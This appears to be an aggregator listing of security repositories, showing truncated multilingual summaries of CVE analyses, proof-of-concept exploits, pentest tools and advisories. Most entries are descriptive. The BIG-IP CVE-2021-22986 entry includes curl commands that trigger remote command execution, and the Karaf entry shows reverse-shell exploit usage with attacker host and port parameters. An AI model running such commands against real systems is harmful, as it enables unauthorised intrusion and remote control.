TheLastBundleMismatch

Mysterious patch Let's start this time with the patch that appeared as fix for CVE-2023-45777 in Android Security Bulletin: root@kitploit: diff --git a/services/core/java/com/android/server/accounts/AccountManagerService.java...

nifi-CVE-2026-39816-poc

Apache NiFi CVE-2026-39816 POC Proof-of-concept demonstration for CVE-2026-39816, an EXECUTECODE permission bypass in Apache NiFi 2.8.0 that lets a flow designer who has been deliberately denied code-execution privileges run arbitrary Groovy in the NiFi JVM via the graph bundle's ExecuteGraphQuer...

CVE-2022-20474

Análisis de CVE-2022-20474 — Bundle auto-modificado en modo LazyValue Prefacio Nota: antes de leer este artículo, debería tener una comprensión básica de las vulnerabilidades relacionadas con Bundle Mismatch. Si aún no ha leído los siguientes materiales de referencia, se recomienda hacerlo primer...

CVE-2026-43813

CVE-2026-43813 — Bypass de enforceEnvironment en CloudAttestation Análisis de ingeniería inversa del fallo de validación de entrada de la atestación PCC que Apple distribuyó en iOS 26.6, encontrado en CloudAttestation.dylib. TL;DR PCC.ComputeNodeValidator.policy.getter lee el byte...

mhf

Mobile Helper Framework is a tool that automates the process of identifying the framework/technology used to create a mobile application. Additionally, it assists in finding sensitive information or provides suggestions for working with the identified platform. How work? The tool searches for fil...

rauc-1.5-integration

Интеграция RAUC 1.5 Этот репозиторий содержит примеры для упрощения интеграции обновления RAUC в существующие проекты. Вы можете подписаться на https://github.com/rauc/rauc-1.5-integration/issues/1, чтобы получать уведомления о важных обновлениях этого репозитория и об интеграции в вышестоящие...

CVE-2021-22986-Poc

CVE-2021-22986-Poc BIGIP iControl 무인증 RCE를 위한 PoC입니다. POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

offsec-karaf-exploits

offsec-karaf-exploits الاستخدام: root@kitploit: python exploit.py --help مثال: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf إعادة بناء الحمولة إعداد Felix Framework 1. أنشئ مجلد lib root@kitploit: mkdir -p ./revshell/li...

idb

Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...

IntRec-Pack

IntRec-Pack Pacchetto/installatore bundle per Intelligence e Reconnaissance. IntRec-Pack è uno script Bash progettato per scaricare, installare e distribuire diversi strumenti di qualità OSINT, Recon e Threat Intelligence. Poiché gestisce anche l'installazione delle varie dipendenze relative a...

Cross-Site-Scripting-Reflected-XSS-Vulnerability-in-blackcatcms_v1.3

Vulnerabilità di Cross-Site Scripting XSS Riflessa in blackcatcmsv1.3 BlackCat-CMS-Bundle-v1.3 Cross Site ScriptingXSS Assegnato il numero CVE: CVE-2018-10821 https://github.com/BlackCatDevelopment/BlackCatCMS/issues/384...

Blackcat-cms-v1.2-xss-POC-by-Provensec-llc

Blackcat-cms-v1.2-xss-POC-by-Provensec-llc BlackCat-CMS-Bundle-v1.2 ثغرة البرمجة النصية عبر المواقع XSS — رقم CVE المعيّن: CVE-2017-9609...

code-shield

protocol-remediator È una MVP che normalizza i finding di vulnerabilità del codice C/C++ di protocolli/piattaforme in prove riproducibili e verifica le patch candidate su una copia isolata. Poiché code-shield era un nome di lavoro con un rischio accertato di conflitto di denominazione, per il...

wix-kickstartx-challenge-writeup

Wix KickstartX Challenge 2026 — Vollständiger Writeup Ergebnis: 200/200 100 % — Token: WKX-9245FA70-200 Datum: 24. März 2026 1. Entdeckung & Aufklärung Die Challenge-Ankündigung Ein LinkedIn-Post kündigte eine spezielle Challenge für Wix KickstartX an — ein Junior-Entwicklerprogramm. Die Regeln:...

NGINX_2026_CVE_Bundle_CTI_Report

🛡️ NGINX 2026 Indagine CTI Multi-CVE CVE-2026-28755 • CVE-2026-42926 • CVE-2026-9256 • CVE-2026-42055 • CVE-2026-42533 Creato da Pratik Chhetri Data del report: 2026-07-28 📌 Sintesi Esecutiva...

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

Rapporto di analisi della vulnerabilità CVE-2025-14502 Riepilogo della vulnerabilità Tipo di vulnerabilità : Inclusione locale di file Local File Inclusion, LFI Versioni interessate : News and Blog Designer Bundle 1.1 e tutte le versioni precedenti Gravità : Alta Complessità dell'attacco : Bassa...

CVE-2026-62960

Git for Windows is the Windows port of Git. Prior to 2.55.0.windows.4, a malicious remote Git server can advertise a bundle URI that reaches transportgetremotebundleuri, fetchbundleuriinternal, and copyuritofile in bundle-uri.c during clone or fetch when transfer.bundleuri=true. Non-HTTPS values...

CVE-2026-62960 Git for Windows: Server-advertised bundle-uri can trigger outbound SMB callbacks via UNC and file:// paths on Windows

Git for Windows is the Windows port of Git. Prior to 2.55.0.windows.4, a malicious remote Git server can advertise a bundle URI that reaches transportgetremotebundleuri, fetchbundleuriinternal, and copyuritofile in bundle-uri.c during clone or fetch when transfer.bundleuri=true. Non-HTTPS values...

CVE-2026-62960 Git for Windows: Server-advertised bundle-uri can trigger outbound SMB callbacks via UNC and file:// paths on Windows

Git for Windows is the Windows port of Git. Prior to 2.55.0.windows.4, a malicious remote Git server can advertise a bundle URI that reaches transportgetremotebundleuri, fetchbundleuriinternal, and copyuritofile in bundle-uri.c during clone or fetch when transfer.bundleuri=true. Non-HTTPS values...

CVE-2026-62960

Git for Windows prior to 2.55.0.windows.4 is vulnerable to a security bypass in bundle-uri.c . When transfer.bundleuri=true, a malicious remote Git server can advertise a bundle URI processed by transport_get_remote_bundle_uri(), fetch_bundle_uri_internal(), and copy_uri_to_file(). Non-HTTP(S) va...